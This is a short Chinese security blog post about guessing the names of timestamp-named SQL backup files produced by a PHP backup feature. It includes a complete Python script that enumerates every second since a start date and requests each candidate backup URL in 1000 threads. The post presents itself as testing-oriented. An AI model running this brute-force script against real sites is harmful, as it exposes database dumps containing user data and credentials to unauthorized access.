某次测试过程中,发现PHP备份功能代码如下:

// 根据时间生成备份文件名
$file_name = 'D' . date('Ymd') . 'T' . date('His');
$sql_file_name = $file_name . '.sql';

  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import time
import requests
import threadpool

date= "2018-01-18 10:00:00"  //开始时间
datelist=[]

def gettime():
    timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
    time1= int(time.mktime(timeArray))
    time2=int(time.time())
    for i in range(time1,time2):
        time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
        datelist.append(time3)
    return datelist
def req(str):           
    try:
        str1,str2=str.split()
        date1="D"+str1+"T"+str2
        url="http://127.0.0.1/data/backup/"+date1+".sql"
        s=requests.get(url,timeout=5)
        if  s.status_code==200:
            print u"数据库备份文件爆破成功:"
            print url
    except:
        pass

if __name__ == '__main__':
    list=gettime()
    pool = threadpool.ThreadPool(1000) 
    requ = threadpool.makeRequests(req,list) 
    [pool.putRequest(req) for req in requ] 
    pool.wait()

Python 测试截图:

利用Python爆破数据库备份文件_Python

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章

利用Python爆破数据库备份文件_时间戳_02